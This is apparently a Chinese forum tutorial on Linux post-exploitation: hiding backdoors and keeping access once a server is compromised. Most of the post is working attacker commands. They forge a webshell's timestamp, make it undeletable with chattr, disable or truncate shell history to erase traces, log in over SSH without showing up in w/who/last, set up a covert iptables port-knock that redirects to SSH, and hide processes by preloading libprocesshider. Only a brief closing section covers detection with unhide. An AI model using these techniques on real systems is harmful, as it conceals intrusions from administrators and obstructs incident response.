大家好,我是大白,只有珍惜时间的人,才能得到时间的慷慨。依旧感谢各位小伙伴的一路支持与陪伴。
*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取!!!!
今天分享大白的渗透安全之Linux权限维持后门隐藏篇,本篇依旧继续完成渗透安全篇章的Linux后门隐藏技巧相关信息,同样还是对于好多小伙伴来说,这个更加偏向于安服,总体来说确实更加偏向于安服但是对于安全知识的了解以及更加层次的学习甚至使用都比较重要,我们可以一同研习一下渗透攻防的“魅力”。
攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术相关信息。
Linux 下创建一个隐藏文件:
touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件,如下图:
一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如
- /temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
复制代码
隐藏文件时间戳
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
利用方法
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2023 年 05 月 02 日。
touch -t 1682998223.30 webshell.php
隐藏权限
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多小伙伴感到头疼。
- chattr +i evil.php 锁定文件
- lsattr evil.php 属性查看
- chattr -i evil.php 解除锁定
- rm -rf 1.evil.php 删除文件
复制代码
隐藏历史操作命令
在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
技巧一:只针对你的工作关闭历史记录
- [space]set +o history
- 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
复制代码
上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:
- [Space]set -o history
- 它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
复制代码
技巧二:从历史记录中删除指定的命令
假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:
- sed -i '150,$d' .bash_history
复制代码
隐藏远程SSH登陆记录
隐身登录系统,不会被w、who、last等指令检测到。
- ssh -T root@127.0.0.1 /bin/bash -i
复制代码
不记录ssh公钥在本地.ssh目录中
- ssh -o UserKnownHostsFile=/dev/null -T user[url=home.php?mod=space&uid=554601]@host[/url] /bin/bash –i
复制代码
端口复用
通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?
第一种方式:通过SSLH在同一端口上共享SSH与HTTPS
- #安装SSLH
- sudo apt-get install sslh
- #配置SSLH
- 编辑 SSLH 配置文件:
- sudo vi /etc/default/sslh
- 1、找到下列行:Run=no 将其修改为:Run=yes
- 2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
- DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
复制代码
第二种方式:利用IPTables进行端口复用
- # 端口复用链
- iptables -t nat -N LETMEIN
- # 端口复用规则
- iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
- # 开启开关
- iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
- # 关闭开关
- iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
- # let's do it
- iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
复制代码
利用方式:
- #开启复用
- echo threathuntercoming | socat - tcp:IP:端口
- #ssh使用80端口进行登录
- ssh -p 80 用户名@IP
- #关闭复用
- echo threathunterleaving | socat - tcp:1IP:端口
复制代码
进程隐藏
管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
第一种方法:libprocesshider
利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
- # 下载程序编译
- git clone https://github.com/gianlucaborello/libprocesshider.git
- cd libprocesshider/ && make
- # 移动文件到/usr/local/lib/目录下
- cp libprocesshider.so /usr/local/lib/
- # 把它加载到全局动态连接局
- echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
复制代码
测试:运行 evil_script.py
此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。
如何在Linux中发现隐藏的进程
unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。
- # 安装
- sudo yum install unhide
- # 使用
- unhide [options] test_list
复制代码
使用unhide proc发现隐藏进程evil_script.py,如下图所示:
*本篇章将本着学习的态度进行分享,严禁用于个人非法行为以及黑产获取,网络不是法外之地!!!!
以上就是本次的渗透安全之Linux权限维持后门隐藏篇,一句忠告:业务备份一时不做一时爽,问题出现两行泪,感谢大佬们的参阅,此贴先到这里后续会带上更加实用的帖子,感谢大家!
励志分享超清壁纸语句~~:
青春像只唱着歌的鸟儿,已从残冬窗里闯出来,驶放宝蓝的穹窿里去了。——闻一多
好的今天就到这里,老样子,感谢各位大神的参阅,孩子为了挣豆子不容易,孩子家里穷没豆子吃饭了!!!
|